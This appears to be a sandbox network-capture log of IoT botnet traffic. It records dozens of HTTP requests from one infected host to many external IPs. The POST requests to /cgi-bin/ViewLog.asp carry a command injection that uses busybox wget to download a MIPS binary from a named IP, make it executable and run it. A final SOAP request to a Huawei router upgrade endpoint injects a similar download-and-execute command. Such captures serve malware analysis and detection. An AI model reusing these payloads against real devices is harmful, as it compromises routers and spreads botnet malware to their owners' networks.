Nov 23, 2023 05:17:28.936955929 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:29.205890894 CET	367	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	45182	31.220.48.100	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:28.974073887 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	35906	31.0.129.39	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:29.153045893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	47480	62.29.82.177	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:29.924913883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	55842	94.187.105.45	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:31.797949076 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:32.966311932 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	44448	62.29.49.194	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:31.799773932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	60694	94.120.213.109	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:31.824848890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	37532	95.131.144.242	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:32.048731089 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:32.272527933 CET	148	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 04:17:32 GMT Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	36612	31.200.58.179	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:32.403539896 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	35576	31.44.143.60	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:32.403639078 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:33.638297081 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	39264	31.136.79.40	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:32.996381998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:33.606301069 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:34.790267944 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.318316936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.182245016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:51.654246092 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.134187937 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	49006	94.102.215.187	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:33.002927065 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:33.196481943 CET	359	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:17:33 GMT Server: Apache Content-Length: 127 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 27 2b 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2b 27 3a 27 2b 6c 6f 63 61 74 69 6f 6e 2e 70 6f 72 74 27 3b 3c 2f 73 63 72 69 70 74 3e 3c 68 31 3e 45 72 72 6f 72 20 34 30 30 20 2d 20 74 72 79 69 6e 67 20 74 6f 20 72 65 64 69 72 65 63 74 3c 2f 68 31 3e Data Ascii: <script>document.location.href='https://'+location.hostname+':'+location.port';</script><h1>Error 400 - trying to redirect</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	56736	62.29.2.145	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:33.028803110 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	48896	94.122.198.219	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:33.046068907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	40548	156.241.85.220	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:33.331469059 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
